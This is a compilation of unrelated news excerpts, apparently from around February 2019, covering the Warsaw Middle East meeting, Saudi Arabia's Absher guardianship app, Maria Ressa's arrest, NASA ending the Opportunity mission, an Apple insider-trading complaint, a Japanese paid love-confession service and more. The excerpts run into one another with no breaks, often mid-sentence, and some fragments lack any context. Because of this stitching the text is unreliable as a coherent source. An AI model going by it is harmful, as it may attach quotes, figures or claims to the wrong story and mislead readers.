According to documents from Tajikistans supreme court, 648 people were fined for violating this bizarre law in 2018 alone. The quantum of issued fines in these cases amounted to 3 million somoni ($325,000).Building up the courage to confess your feelings to your crush and asking them out on a date can be a nerve-wrecking experience, but thanks to the unique services offered by Japanese company Kokunavi, it doesnt have to be. If youre too shy to approach your crush, you can just pay them to do it on your behalf.

True to its name  a mashup between the Japanese word kokuhaku (confession of love) and navigation  Kokunavi is committed to helping shy people make their feelings known to their crushes without having to go through the emotionally distressing experience of actually confessing their crush. Basically, Kokunavi will have someone else approach the clients crush and convey a romantic message on their behalf. Think of it like having a friend deliver a love letter to your high school crush, if that friend charged a lot of money to do it.

Photo: aliceabc0/Pixabay

Kokunavi offers three different package, with the Simple Course being the cheapest, most basic option. For 29,000 yen ($260), the Japanese company will have someone convey the clients message to their crush, and then come back with their response. But people who dont mind spending a little extra to increase their chances of hooking up with their crush can opt for Kokunavis Support Pack Course, which includes two or three meetings with the companys expert staff, during which clients will receive advice on wording their confession of love, as well as on the right time and place to have it delivered. This superior package is priced at 59,000 yen ($530).

Finally, the Premium Package consists of four or five meetings with Kokunavi staff to go over all the things included in the Support Package, as well as data analysis of the companys previous projects, to figure out which confession delivery method has the higher method of success. Or, as the company describes this package, as long as you know who you want to confess our love to, we can help you plan everything else.

On its official website, Kokunavi assure potential clients that theres no shame in using their services to confess to their crush, and uses testimonials to show how their effective their methods can be.

Photo: Kalhh/Pixabay

Im really glad I went to Kokunavi for help, my love confession was successful, and I was really impressed at their professional techniques, one 25-year-old woman allegedly said.

And just in case youre the paranoid type, and are worried about your crush falling in love with the person delivering your confession, the company mentions that it employs both men and women for the job, to minimize the chances of that happening.

Proxy services like Kokunavi have become very popular in Japan recently. Just last year, we wrote about a similar service that specialized in quitting jobs on other peoples behalf to spare them from having to face their bosses.David Hogg, Emma Gonzalez, Jacklyn Cornin, Alex Wind, Cameron Kasky, Delaney Tarr and others found themselves profiled in Time a magazine, on a stage in Washington, D.C., for the March for Our Lives event and traveled around the country on a summer tour that was designed to bring attention to gun violence issues ahead of the the November election. Their work and profile on social media outlets continues to resonate as most begin their college careers. For example, Gonzalez has 1.6 million Twitter followers, while Hogg has 937,000.A: I presided in a courtroom that was all about children, and I learned a lot of skills about protecting children as there were about 40,000 children that I was responsible for. I learned a lot of techniques and gained a great deal knowledge on how to make sure children going through a divorce or a custody situation were kept safe. Im not claiming Im the smartest person in the world, but when you see something 40,000 times you learn. By writing it down and putting that experience in a place where people can read and study it, it allows for children to be protected. I want to make sure that children can become healthy and functional adults because the strain and stress of those situations consume even the best of parents.It is how the person wants to utilize it, she said. It could just be their name and telephone number and address. It could have their emergency contact information in there, which generally if you called 911, we wouldnt have that information.Volunteers scattered across the county to take part in the yearly Point-In-Time Homeless Count. At the same time, they tried to persuade 30 people to enter shelters instead of staying outdoors in one of the worst winters weve seen in years. Indeed, the count was originally scheduled for last month, but postponed due to life-threatening below-zero temperatures and wind chills, according to Jim Newtons front-page story in The News-Sun.WARSAW  The Trump administration had delicately said the meeting of five dozen nations in Warsaw would focus on Middle East security. But the unmistakable voice of Rudolph Giuliani, an avowed proponent of regime change in Iran, set a different tone.

Hours before the meeting began, Mr. Giuliani, the former mayor of New York and President Trumps lawyer, told an anti-Iran rally outside Warsaws main stadium that Iranian leaders are assassins, they are murderers and they should be out of power.

Mr. Giuliani said he was representing an Iranian opposition group, the Mujahedeen-e-Khalq, or M.E.K., not Mr. Trump. But his message belied what American officials had told nervous European counterparts: that the two-day meeting would focus on a range of Middle East security matters.

As Mr. Giuliani spoke, Secretary of State Mike Pompeo was in northeast Poland witnessing live-fire exercises intended to send a message to Russia. And Vice President Mike Pence, joined by the presidents son-in-law, Jared Kushner, was arriving in Warsaw for what amounted to the largest diplomatic gathering that the Trump administration has organized.BEIRUT, Lebanon  A Saudi mobile application that lets men track and restrict the movements of women in the kingdom has come under increased scrutiny this week with an American senator and rights groups urging Apple and Google to remove it from their platforms, accusing the technology giants of facilitating gender discrimination.

Saudi guardianship laws give women a legal status similar to that of minors in many areas of their lives. Every Saudi woman, regardless of age, has a male guardian, usually her father or husband, but sometimes her brother or son, who must give his permission for her to get a passport, have certain medical procedures or get married.

The app in question, called Absher, was launched in 2015 by the Saudi government. It allows men to manage the women under their guardianship by giving or revoking their right to travel through airports, tracking them by their national identity cards or passports. The men can turn on notifications that alert them with a text message any time a woman under their guardianship passes through an airport.

Absher, which roughly translates as yes sir, can be downloaded from both the Google Play store and Apples app store, which critics say makes the tech companies complicit in the repression of Saudi women.TEHRAN  A suicide bomber killed at least 27 members of the Islamic Revolutionary Guards Corps and wounded 13 on a bus in a restive region of southeast Iran on Wednesday, Iranian media reported. It was among the deadliest attacks in Iran in years.

The Revolutionary Guards, an elite Iranian paramilitary force, quickly blamed the United States for the assault, which came during the week that Irans leaders have been celebrating the 40th anniversary of the Islamic Revolution, which overthrew the American-backed shah in 1979.

The Revolutionary Guards did not explain precisely how the Americans could have been involved in the attack. But Iranian officials suggested it was more than coincidental that it happened as the Trump administration was hosting an anti-Iran-themed meeting in Poland that included delegations from Irans regional adversaries, Israel and Saudi Arabia.

Dispatches by the official Islamic Republic News Agency and the Fars News Agency said the victims had been traveling between the cities of Zahedan and Khash near the Pakistan border, a haven for militant separatist groups and drug smugglers.She left active duty with the Air Force in 2008 but spent another two years working as a contractor. She helped manage the same highly classified program involving informants working against Iran.

A person familiar with her case said she had grown disgruntled while working for the Air Force and at some point had become enamored with Persian culture and converted to Islam. In early 2012, she traveled to Iran to attend a conference called Hollywoodism. Prosecutors said the conference is sponsored by the Islamic Revolutionary Guard Corps, an elite Iranian paramilitary force, and is intended to promote anti-American propaganda.

While at the conference, she agreed to appear in at least one video in which she was identified as a veteran and made statements that were critical of the United States. The videos were broadcast by Iranian news outlets.

After her return to the United States, the F.B.I. paid a visit to Ms. Witt, the indictment said, and delivered a warning: Iranian intelligence services were trying to recruit her. She told the F.B.I. agents she would never reveal the work she did for the Air Force.

The Iranians continued to target Ms. Witt, according to the indictment. In June 2012, an American-Iranian journalist, Marzieh Hashemi, came to the United States and hired Ms. Witt to work on an anti-American film.

In 2013, Ms. Witt traveled to Iran again for a Hollywoodism conference and met with members of the Revolutionary Guard and expressed views critical of the United States. She also stated her desire to immigrate to Iran, prosecutors said.

The indictment said she communicated frequently with Ms. Hashemi, who is identified as Individual A. She told Ms. Hashemi the work she had done for the Air Force was evil. She also talked about exposing a secret program and do like Snowden, a reference to Edward J. Snowden, a former National Security Agency contractor who stole sensitive documents and gave them to journalists.MADRID  The Spanish government teetered on the brink of collapse Wednesday, as the dispute over the status of the prosperous northeastern region of Catalonia stymied passage of a national budget and threatened to usher in another round of protracted political uncertainty.

Prime Minister Pedro Sanchez, one of the few Socialist leaders left standing on the European political stage, was hoping to use his budget to increase social spending and address the inequalities that have accompanied Spains economic recovery.

Instead, Mr. Sanchez, who leads a precarious minority government, was now facing a decision in coming days on when to call new elections  a seeming inevitability  after Catalan lawmakers withdrew their support, trying to force the issue of independence for their region back to the fore of Spanish politics.

For Spain, and indeed all of Europe, a new round of political turbulence could hardly come at a worse time. The Continent already faces the challenge of Brexit, as the British divorce from the European Union is called, with a deadline of March 29 looming.GENEVA  German authorities announced the arrest on Wednesday of a former high-ranking Syrian intelligence officer and two subordinates suspected of crimes against humanity by torturing thousands of victims in detention centers run by President Bashar al-Assads security services.

The arrests were a result of a joint investigation by German and French prosecutors, the office of Germanys federal prosecutor said in a statement on Wednesday. The German police had arrested two suspects, identified as Anwar R., 56, and Eyad A., 42, and placed them in pretrial detention, the statement said. Officials decline as policy to give the full names of suspects pending the outcome of legal proceedings against them.

They said the French police, as part of a joint investigation team, had detained a third suspect who was linked to Anwar, but gave no other details.

The man identified as Anwar R. is the most serious regime perpetrator detained so far by some distance, said William Wiley, a former war crimes prosecutor who leads the Center for International Justice and Accountability, a group collecting evidence of Syrian atrocities. Its a big day for everyone working on these issues since 2011, really big.BEIJING  A Cultural Revolution-era film by a celebrated Chinese director has been withdrawn from the 69th Berlin Film Festival, where it was set to show in the festivals main competition.

A statement posted Monday on the films official Weibo account said the film by Zhang Yimou, One Second, had been pulled for technical reasons, a term often used in China as a euphemism for government censorship. Festival organizers confirmed the withdrawal, stating that the film had been pulled from the competition due to technical difficulties encountered during postproduction.

The sudden withdrawal of Mr. Zhangs film is a major setback for the 68-year-old filmmaker, who is best known for directing art house classics like Raise the Red Lantern and for being the creative force behind the dazzling opening ceremony of the 2008 Summer Olympic Games in Beijing.

While Chinas strict oversight of films is well known, it is rare to see a film pulled so close to its festival premiere. The abrupt reversal caused a stir within film circles in China, and it added to worries about the Chinese Communist Partys broadening crackdown on dissent and discussion of sensitive subjects.And over the years, it will start going up, and they will be terrific, he said.

Mr. Trump made the comments while highlighting his efforts to strike better trade and military deals with American allies. But his assertions confused both South Korean officials and the South Korean news media.

Mr. Trump also said South Korea had been paying only $500 million, or one-tenth, of the $5 billion he said was needed annually to maintain American military bases in South Korea. But South Korea says its contribution covers nearly half the total cost of such operations.

Both the United States Embassy and Foreign Minister Kang Kyung-wha of South Korea reconfirmed the 1.04 trillion won figure on Wednesday. Ms. Kang said her government needed to find out how Mr. Trump came up with different figures.

Kim Eui-kyeom, a spokesman for President Moon Jae-in, pushed back at Mr. Trumps suggestion that South Korea would have to increase its contributions in the coming years, saying that it shouldnt be taken as a fait accompli. He said the deal struck on Sunday, under which South Korea agreed to an 8 percent increase in its contribution, was valid only for this year, with the possibility of an extension for another year if both sides agreed.

This is not the first time South Koreans have been flummoxed by Mr. Trumps claims.

In an interview aired early this month on CBS News, Mr. Trump complained about the very expensive costs of keeping 40,000 troops in South Korea. But American troops in South Korea number only 28,500.SEOUL, South Korea  Until recently, few had heard of PNR, a company in South Korea that turns sludge from steel mills into iron. Then a 94-year-old man named Lee Chun-shik tried to settle an old debt.

Mr. Lee grew up during the Japanese occupation of Korea, and as a teenager, he was taken to Japan and forced to work for a steel maker, essentially as slave labor. Today, that steel maker is Japans largest, Nippon Steel & Sumitomo Metal, with assets around the world, including $9.6 million worth of shares in PNR.

Mr. Lee asked a court in South Korea to seize some of those shares as compensation for what he endured so long ago  and the court did so last month.

The ruling is now at the center of a bitter dispute that has called into question the foundation of diplomatic ties between Americas top allies in Asia, driving them apart even as Washington is trying to build a united front against Chinas rise and a nuclear-armed North Korea.Its a scene that Maria Ressa, a co-founder of an online news start-up critical of President Rodrigo Duterte of the Philippines, has grown accustomed to.

Late Wednesday afternoon, several plainclothes agents from the National Bureau of Investigations arrived in Ms. Ressas newsroom in Manila with a warrant for her arrest in a digital libel case involving her online news site, Rappler. An hour later, they took her and her lawyer away.

Ms. Ressas arrest is the most dramatic sign yet of Mr. Dutertes crackdown on the news media in the Philippines. Mr. Duterte has not tried to hide his disdain for journalists, calling reporters sons of bitches and spies and even warning that they are not exempted from assassination.

As she left the building flanked by police officers, Ms. Ressa addressed reporters, telling them, I will do the right thing.HONG KONG  An Instagram account featuring a comic strip with gay Muslim characters disappeared on Wednesday, days after Indonesian officials threatened to block the entire social media platform in the country because of an uproar over the comics content.

The episode is the latest flash point in a slow-burning battle over morality and civil rights in Indonesia, a Muslim-majority nation. Even as gay, lesbian, bisexual and transgender people in the country assert themselves, others support an ascendant Islamic movement that has embraced some homophobic policies and portrayed L.G.B.T. people as a threat to national harmony.

The Instagram account, @Alpantuni, first appeared in January with the tagline Gay Muslim comics for people who are able to think. Its Indonesian-language comics addressed gay identity and religious bigotry, and depicted men with their shirts off and in bed together, though never fully nude.

The account prompted a flurry of criticism on social media in the country, with some accusing the artist of pornography or blasphemy.CUCUTA, Colombia  The battle over the legitimate leadership of Venezuela  which has included rallies of thousands, international diplomacy and oil sanctions  is now focused on a single heavily guarded shipment of humanitarian aid.

Venezuelas opposition, which has relished a month of victories in its effort to challenge President Nicolas Maduro and take over as the countrys legitimate government, brought the donated supplies of food and medical kits to the countrys border with Colombia.

Its goal was to bring the supplies into Venezuela, forcing a confrontation with Mr. Maduro, who has refused the help. This would cast Mr. Maduro in a bad light, opposition leaders said, and display their ability to set up a government-like relief system in a nation where the crumbling economy has left many starving, sick and without access to medicine.

But there was no dramatic confrontation.

Instead, Mr. Maduros administration erected a crude, but effective blockade across the border bridge with Colombia. The move brought the relief effort to a halt, and left the opposition and its leader, Juan Guaido, at a standstill, aware that each passing day dampens its considerable momentum toward winning the trust of Venezuelans and the recognition of other governments. A delay could also mean reverting back to the status quo, in which Mr. Maduro retains control.Unconfirmed observations from September 2017 from the two leopards together suggest that this nonmelanistic female might be the mother of the black leopard, according to the paper, which added that in previous sightings, the black leopard was smaller in size, and in closer proximity to her mother.

Word of the camera observations brought forth another high-quality image of a black leopard from the Ol Ari Nyiro Conservancy, also in Laikipia, which was taken in May 2007.

Collectively, these images are the first reported in nearly 100 years that confirm the existence of black leopard in Africa, and the first in Kenya, the paper said.

The dark coloration of the melanistic leopards coat is attributed to a recessive gene that causes the loss of the normal function. Despite being called black, they are usually very dark brown and have the same pattern of spots as other leopards, according to the Out of Africa Park in Arizona, which hosts two black leopards, named Enoch and Silhouette.

But there are also theories suggesting that melanism could have an environmental factor.

Melanism is hypothesized to be an adaptation to environments in which a dark coloration provides camouflage from predators or prey, Dr. Pilfold said in the paper.

Until recently, leopards  reclusive, adaptable, and territorial  were considered to exist in relative abundance.

But a study published in May 2016 suggested that leopards had lost 75 percent of their range since 1750. They were then classified as vulnerable on the Red List of threatened species of the International Union for Conservation of Nature.Acknowledging and age-appropriately supporting kids crushes (Hows Sarah doing? Oh, you got to sit by her? That must have been fun!) can be a valuable early opportunity, she said, to open trustworthy lines of communication with our kids about love, relationships and, eventually, healthy sexuality.

But theres also no need to go overboard, suggesting that a wedding is on the horizon, she said.

Dr. Rose cautioned against teasing. Asking kids of any age about whether they have a boyfriend or girlfriend may send unintended messages about gender issues or sex, or make them feel too embarrassed to open up about love in the future. As a neutral conversation opener, you might ask if your childs classmates talk about having crushes.

Model Respect

It can be especially important for boys to hear that it is good to have tenderhearted feelings. Research shows that American boys want intimacy and romance at the same rate as girls  but by admitting to that, they risk being seen as unmasculine.

With regard to the #MeToo movement, Dr. Rose said, we also can respond to childrens crushes by showing consideration for the object of their affection. It is an opportunity to reinforce an age-appropriate lesson about consent, even if the level of touching in the relationship amounts to nothing more than holding hands.

When engaging kids in conversation about the apple of their eye, Ms. Roffman suggests trying not to lead with questions that are gender-stereotyping or superficial (Is she cute?). Instead, she said, try asking, What do you like about that person? What do you notice about them? Whats their personality like? Kids also need to know that its normal to have crushes on someone of the same sex or gender.

Expect Things to Fizzle

Dr. Rose said its helpful to learn young to deal with breakups. Its the beginning of trying to experience what those emotions feel like and learning how to manage them. If you have a crush and he says something not very nice to you, or he ignores you, then that is a first opportunity for a 10-year-old to process, well, how do you manage those feelings?

If families allow children to have play dates with their crushes, Mr. Smallidge said, they should help select activities suitable for the childrens age. Spending time together with a crush can be as simple as playing together at the park or getting ice cream, just as children would do with other friends.It was supposed to be the mass shooting that finally galvanized the country and forced lawmakers into action: 17 people dead after a massacre inside a high school. Emotional calls for gun reform. I want to feel safe at school. Then, in came the N.R.A., with a slick campaign and access to the Oval Office, to grind momentum almost to a halt. So how did the N.R.A. pull this off? The president needs N.R.A. endorsement to rally his support base, especially in an election year. Because of that, the N.R.A managed to secure meetings with Trump in the immediate aftermath of the Parkland school shooting, when calls for reform were the loudest. The N.R.A. has catchy, succinct slogans that are easy to remember and drive their point across. To stop a bad guy with a gun, it takes a good guy with a gun. After Parkland, the N.R.A. spokesperson went head to head with student victims on TV. Well, I think the A.T.F. is deciding about bump stocks right now. The president ordered the D.O.J. to look into it. Im asking your opinion as a representative of the N.R.A. Thats what the N.R.A.s position has been. The N.R.A. came  Whats yours? Im talking for them. These are the 5 million members that Im here representing. And on the groups own channel they broadcasted stuff like this: These kids ought to be marching against their own hypocritical belief structures. They hate machines that cause death except, hold on, no, you aint never going to take their cars away. They hate the idea that guns save lives, except the only reason weve ever heard of them is because guns didnt come soon enough. The N.R.A. aggressively mobilized a membership drive a few weeks after Parkland. Now is the time for all of us to join together in defense of the principles that make America the greatest nation on earth. They claim to have over 5 million members. But that figure has not been confirmed by any outside party. After Parkland, Florida lawmakers passed the first significant gun control bill in more than 20 years: raising the age limit to buy rifles from 18 to 21. The N.R.A. promptly filed suit. The calls for gun reform after the Parkland shooting havent stopped, and neither have the N.R.A.s efforts to thwart them.But Ms. Wexton, who was one of the first high-ranking Virginia Democrats to proclaim last week that she believed Mr. Fairfaxs first accuser, said the party had to police its own if it is to take a hard line on Republican transgressions.

We have to use the same standard with our friends as we do with the folks across the aisle, otherwise its hypocritical, she said. We cant engage in whataboutism.

Yet Courtney A. Hill, an Arlington-based political strategist who works with and tries to help elect black candidates in Virginia, argued that the focus on the allegations against Mr. Fairfax had been stirred by people who did not want to see another black governor in the state.

We had Northam and Herring in blackface and standing next to K.K.K. members and now the conversation has shifted to Justin and Justin entirely, and Ralph is going on his apology tour, Ms. Hill said. I think race is helping shift that conversation. It doesnt sit right with me, and it doesnt make sense to a lot of people who look like me.

Chelsea Higgs Wise, a social justice activist who is black, said that she had campaigned for both Mr. Northam and Mr. Fairfax and that this was tearing her apart.

Its causing a lot of tears, she said.

On the one hand, she said she felt it was important to believe sexual assault survivors and make sure they were heard, more so when they are black because their stories are often ignored. But she also had to consider the context of how the American justice system treats African-Americans, she said.

It really is a terrible position to be in, said Ms. Wise, 34, to believe women, but to also uphold blackness as a priority.Thomas J. Barrack, a confidant of President Trump who served as chairman of his inaugural committee, apologized on Wednesday for statements he made defending Saudi Arabia after the killing of the journalist and dissident Jamal Khashoggi.

Mr. Barrack suggested at a conference on Tuesday in Abu Dhabi that the United States was not in a position to lecture other countries.

Whatever happened in Saudi Arabia, the atrocities in America are equal, or worse, Mr. Barrack said at the event, responding to a question from Becky Anderson of CNN about the effect that the killing of Mr. Khashoggi inside a Saudi consulate in Turkey had had on the Saudis reputation.

Mr. Barrack, a financier who has long done business in the Middle East, said that atrocities in all countries are dictated by the rule of law. Referring to the Saudi crown prince, the de facto ruler of the country and a close ally of the Trump White House, Mr. Barrack added, For us to dictate what we think is the moral code there, when we have a young man and regime that is trying to push themselves into 2030, I think is a mistake.The wall or the steel barrier. They can have any name they want. But we have to have it. President Trump often repeats the same things when talking about why he wants a southern border wall. The crime. Drugs. American jobs. While there is little evidence these problems are caused by unauthorized immigration or that any of this will be helped by a wall, he has remained steadfast. I will build a great, great wall. You need that wall. We can do without a wall. But as the fight over border security has dragged on, heres how hes expanded his argument. Hes always said it was about securing the border. But recently, Trump has emphasized that he believes building the wall is the moral and compassionate thing to do. This is the cycle of human suffering that I am determined to end.  And he says a wall will benefit people on both sides of the border, addressing what he is calling  This is a humanitarian crisis, a crisis of the heart and a crisis of the soul. But Democrats say the current situation at the border was escalated by Trumps policies. A challenge that President Trumps own cruel and counterproductive policies have only deepened. So who does Trump think will benefit? Over time, Trump has named many groups that he says will benefit from a wall. It started as the  American worker. And then expanded to  Legal residents. And  And our vets. Our immigrant communities. Asian-Americans. Hispanic-American communities. African-American workers. Its also what our professionals at the border want and need. How will Trump pay for the wall? After some discrepancies regarding the walls price tag  $6 billion. Probably $8 billion. Maybe $10 or $12 billion. $18 billion. $5.7 billion for a physical barrier. Trump has modified his claim that Mexico is going to pay for the wall. Mexico  will pay  for the wall. 100 percent. Its gone from  They dont know it yet, but theyre paying for it. To  It may be through reimbursement, but one way or the other Mexico will pay for the wall. And  The border wall would very quickly pay for itself. And finally, what will Trumps wall look like? Trumps vision for the wall itself has also changed over time. Early on, Trump said the wall would be  Its going to be a Trump wall. Its going to be a real wall. An impenetrable, physical, tall, powerful, beautiful  A serious wall. This is a wall thats a heck of a lot higher than the ceiling. Its going to be made of hardened concrete and its going to be made out of rebar and steel. Now, its sounding more like this: I never said Im going to build a concrete  I said Im going to build a wall. Just so you know, because I know youre not into the construction business. Steel is stronger than concrete. Its a new design, highest technology. Walls that you can see through. It will be a steel barrier rather than a concrete wall. So, will his latest push end with a wall? Theres still a tough political fight ahead.Mary Carmody, the founder of Midwest Veterans Closet, said this is the fifth year for the event, and volunteers from local groups and schools, and people in Virginia, Colorado and Georgia are showing veterans they are loved and not forgotten. The village of Mundelein advertised the event on its municipal home page.Senate passage of the Yemen resolution could prompt Mr. Trump to issue the first veto of his presidency, and it would come after Republicans have registered their unhappiness over other foreign policy issues, such as the presidents plan to withdraw troops from Syria and Afghanistan and his threats to pull the United States from the North Atlantic Treaty Organization. On Wednesday, a bipartisan group of senators introduced new sanctions on Moscow that would require the secretary of state to submit a determination of whether the Russian Federation meets the criteria for designation as a state sponsor of terrorism.

Democrats demanded Senate action.

This is their opportunity to send a message to the Saudis that their behavior on Khashoggi and their flagrant disregard of human rights is not consistent with the American way of doing business and not in line with American values, Representative Ro Khanna, Democrat of California, the bills lead sponsor, said in an interview, adding that he was relieved that Congress finally took action on the resolution, which he first introduced in 2017.

The House resolution is a rare use of the 1973 War Powers Act, which gave Congress the ability to compel the removal of military forces absent a formal declaration of war. Those powers, created in the wake of the Vietnam War, have almost never been used, as lawmakers have demurred from intervening in politically sensitive matters of war, peace and support for the troops.

But the conflict in Yemen is proving to be different. Senators sponsoring their own resolution are expected to act quickly to force a vote, as lawmakers in both parties fume over how the administration has responded to Saudi Arabias role in the killing of Mr. Khashoggi, who was based in Virginia. Senator Christopher S. Murphy, Democrat of Connecticut and one of the sponsors, said he anticipated a vote within the next 30 days.

The White House pre-emptively threatened to block the resolution over the weekend, with administration officials arguing in a statement of administration policy that the premise of the joint resolution is flawed because the United States has provided only limited support to member countries of the Saudi-led coalition in Yemen.It began as a lighthearted moment. Senator Kamala Harris, the California Democrat and former prosecutor who announced her presidential candidacy last month, revealed on a popular radio show this week that she had smoked marijuana during her college years at Howard University in Washington.

But after a viral tweet ignited backlash from marijuana activists and conservatives, Ms. Harris faces accusations that she fabricated parts of her story. In the midst of answering simultaneous questions about what music she listens to, she appeared to some to say she listened to rap artists like Tupac and Snoop Dogg as she smoked in college, though neither released an album until after she graduated.

Conservative news outlets feasted on what they portrayed as an embarrassing gaffe, with the popular morning show Fox & Friends even dedicating a segment to it Wednesday morning. Less partisan media outlets also publicized the supposed controversy, with some alleging that it was further proof Ms. Harris, who is likely the most viable black woman ever to run for president, was playing up parts of her identity in order to impress black voters.WARSAW  The Trump White House has accelerated a secret American program to sabotage Irans missiles and rockets, according to current and former administration officials, who described it as part of an expanding campaign by the United States to undercut Tehrans military and isolate its economy.

Officials said it was impossible to measure precisely the success of the classified program, which has never been publicly acknowledged. But in the past month alone, two Iranian attempts to launch satellites have failed within minutes.

Those two rocket failures  one that Iran announced on Jan. 15 and the other, an unacknowledged attempt, on Feb. 5  were part of a pattern over the past 11 years. In that time, 67 percent of Iranian orbital launches have failed, an astonishingly high number compared to a 5 percent failure rate worldwide for similar space launches.

The setbacks have not deterred Iran. This week, President Hassan Rouhani singled out Tehrans missile fleets as he vowed to continue our path and our military power.In 2012, a Chicago police sergeant and an officer were arrested in an undercover operation for stealing $5,200 from a person carrying what they thought was cash for drug dealers. The officers eventually entered plea deals, but the arrests led to scrutiny of the tactics they and their team had used while making drug arrests at the Ida B. Wells housing complex on Chicagos South Side for years.

This week, 14 men with drug convictions related to those cases were exonerated  four of them on Wednesday and 10 on Monday. With those exonerations, 63 men and women have had their cases vacated because of the involvement of Sgt. Ronald Watts and Officer Kallatt Mohammed, lawyers for the 14 men said.

It is a stain on the city, said Joshua Tepfer, a lawyer with the University of Chicago Law Schools Exoneration Project, which has represented 47 of the 63 people exonerated.

One thing that goes without saying is the reason they were covered up is they were viewed as a disposable people who live in the housing projects, he said. Nobody cared. Nobody believed them.Good morning.

(If you dont already get California Today by email, heres the sign-up.)

When Gov. Gavin Newsom began his first State of the State address yesterday, political observers expected him to attack the Trump administration.

So often, Mr. Newsom has described the presidents policies as standing in direct opposition to Californias values.

But instead, one of the most powerful politicians in the country quickly moved on from President Trump and took aim at the legacy of a fellow Democrat: Mr. Newsoms predecessor, Jerry Brown.

He dispatched Trump and Jerry Brown in very different ways, said Raphael Sonenshein, the executive director of the Pat Brown Institute for Public Affairs at Cal State Los Angeles. In Trumps case, he dismissed him.Isabelle Huppert has five films coming out in 2019. The French actress is so notoriously busy that, when playing an exaggerated version of herself in an episode of the Netflix comedy Call My Agent! last year, she was depicted shooting two major films at once (and doctoring the script for one of them) while squeezing in an artsy Korean flick on the side and preparing to play Hamlet onstage.

The portrayal is gently satirical. But only just.

I love what I do, Ms. Huppert said in an interview, when asked why she keeps such a busy schedule. Its a great privilege in life, to love what you do.

The actress, whose American profile got a big boost from earning an Oscar nomination for her 2016 no-holds-barred performance in Elle, is taking a brief break from film to star in The Mother, a play by Florian Zeller that begins performances Feb. 20 at the Atlantic Theater Company. (During the run, she will also have another movie release: Neil Jordans demented psycho-thriller Greta, in theaters March 1.)

The American theater producer Jeffrey Richards approached her with the project by Mr. Zeller  whose The Father was on Broadway in 2016  and she immediately signed on.How do New York Times journalists use technology in their jobs and in their personal lives? Melissa Eddy, a Berlin correspondent for The Times, discussed the tech shes using.

What are the most important tech tools for doing your job, and how do you use them?

My iPhone X has become my multipurpose portable notebook, camera, recorder and connection device. I have typed breaking stories into the Notes app and sent them to editors, or jotted down key points from an event, when I found myself without pen and paper.

Ive used the camera to record Facebook Live video, but also to take still photos of anything that catches my imagination when I am out reporting, or signs that I dont have time to stop and translate. When I sit down to write, I go back through my photos to jog my memory, although I sometimes worry that it would be better to pause and capture the thought in the moment.

I use the VoiceMemos app to record news conferences and in-person interviews. For phone interviews, I rely on TapeACall Pro, which is easy to use and has been a great addition.As a member of the core group of senior Apple insiders entrusted with material nonpublic information, and as an attorney with a sophisticated understanding of securities and corporate law, Levoff knew, or was reckless in not knowing, that he had a duty of trust and confidence to the company and its shareholders, according to the complaint filed in United States District Court for the District of New Jersey.

The S.E.C. said he was placed on leave in July and fired in September.

After being contacted by authorities last summer, we conducted a thorough investigation with the help of outside legal experts, which resulted in termination, an Apple spokesman, Josh Rosenstock, said in a statement.

In an indication of how senior Mr. Levoff was at the company, he was part of Apples disclosure committee  a group that helps Tim Cook, Apples chief executive, and Luca Maestri, the chief financial officer, determine whether the company is meeting its responsibilities for providing accurate and timely disclosures to investors.

At the time of his departure, Mr. Levoff reported to Katherine Adams, Apples general counsel. She replaced Bruce Sewell, who served as the companys top lawyer for eight years until he stepped down in 2017.

Mr. Levoff was responsible for ensuring compliance with Apples insider trading rules, including sending emails to individuals who were subject to trading restrictions around Apples quarterly earnings announcements. Apples insider trading policy said any individual with material, nonpublic information about the company was not allowed to trade the stock until 60 hours after that information had been announced.

The S.E.C. said Mr. Levoff also engaged in insider trading on three other occasions from 2011 to 2012. In each instance, Mr. Levoff received draft news releases and S.E.C. filings. He then bought thousands of shares of Apple stock before the public announcement. Shortly after the stock rose on the positive earnings announcements, Mr. Levoff sold the shares. He made approximately $245,000 in profits on those insider trading transactions.

Before those transactions, Mr. Levoff sent emails to company employees alerting them that a blackout period was starting and that they were prohibited from trading Apple securities.Is Los Angeles ready for the inaugural Frieze art fair this weekend?

Some 70 galleries, including local favorites like the Night Gallery and global powerhouses like Gagosian, will have booths at Paramount Pictures Studios from Feb. 15 to Feb. 17. (There is also a V.I.P. day, Feb. 14.)

While the Los Angeles contemporary art scene has boomed in recent years, its not clear whether the city can sustain an art fair of this scale. Perhaps in a bid to import some bohemian cred, a replica of Maxs Kansas City  the infamous New York clubhouse where Andy Warhol, David Bowie and John Lennon gathered in the 1960s and 70s  will also be staged at the fair.

Lending her charm to the space is Yvonne Sewall, 73, a former waitress who married the clubs founder, Mickey Ruskin. She now lives in Kingston, N.Y., where she runs the Maxs Kansas City Project, a charity that gives emergency grants and assistance to artists in need.In Tidying Up With Marie Kondo, the new Netflix show, the organizational wizard and best-selling author spends much of her time imploring clients (victims?) to streamline their lives and keep only those possessions that spark joy.

The ethos has surely struck a chord , and one might even suggest that KonMari minimalism has had an impact on the rare birds that show up at New York Fashion Week, that celebration of excess, now underway.

You need only look at recent street-style photos to see how much has changed. A few years ago they were dominated by over-the-top beings like Anna Dello Russo. Today editors and influencers are more likely to be snapped in zippered boiler suits or classic coats that will last for years to come.Day said one of the discs contains the forensic footprint of the victims phone that is being sought, and that all the information the state recovered from the phone is included on the disc. Day also asked Fix that a hearing on the motion be postponed until the state files a written reply to the motion.Modern science is largely a team sport, and over the past few decades the makeup of those teams has shifted, from small groups of collaborators to ever larger consortiums, with rosters far longer than that of the New England Patriots. Answering big questions often requires scientists and institutions to pool resources and data, whether the research involves detecting gravitational waves in deep space, or sorting out the genetics of brain development.

But that shift has prompted scientists to examine the relative merits of small groups versus large ones. Is supersizing research projects the most efficient way to advance knowledge? What is gained and what, if anything, is lost?

Now they have at least the beginning of an answer. In the largest analysis of the issue thus far, investigators have found that the smaller the research team working on a problem, the more likely it was to generate innovative solutions. Large consortiums are still important drivers of progress, but they are best suited to confirming or consolidating novel findings, rather than generating them.

The new research, published on Wednesday in the journal Nature, is the latest contribution from an emerging branch of work known as the science of science  the study of how, when and through whom knowledge advances. The results could have wide-ranging implications for individual investigators, the academic centers that employ them and the government agencies that provide so much of the financing.Opportunity, the longest-lived roving robot ever sent to another planet, explored the red plains of Mars for more than 14 years, snapping photos and revealing astonishing glimpses into its distant past. But on Wednesday, NASA announced that the rover is dead.

It is therefore that I am standing here with a sense of deep appreciation and gratitude that I declare the Opportunity mission as complete, Thomas Zurbuchen, NASAs associate administrator for science, said at a news conference.

[See pictures from the Opportunity rovers journey across Mars.]

The golf cart-size rover was designed to last only three months, but proved itself to be an unexpected endurance athlete. It traveled more than the distance of a marathon when less than half a mile would have counted as success.

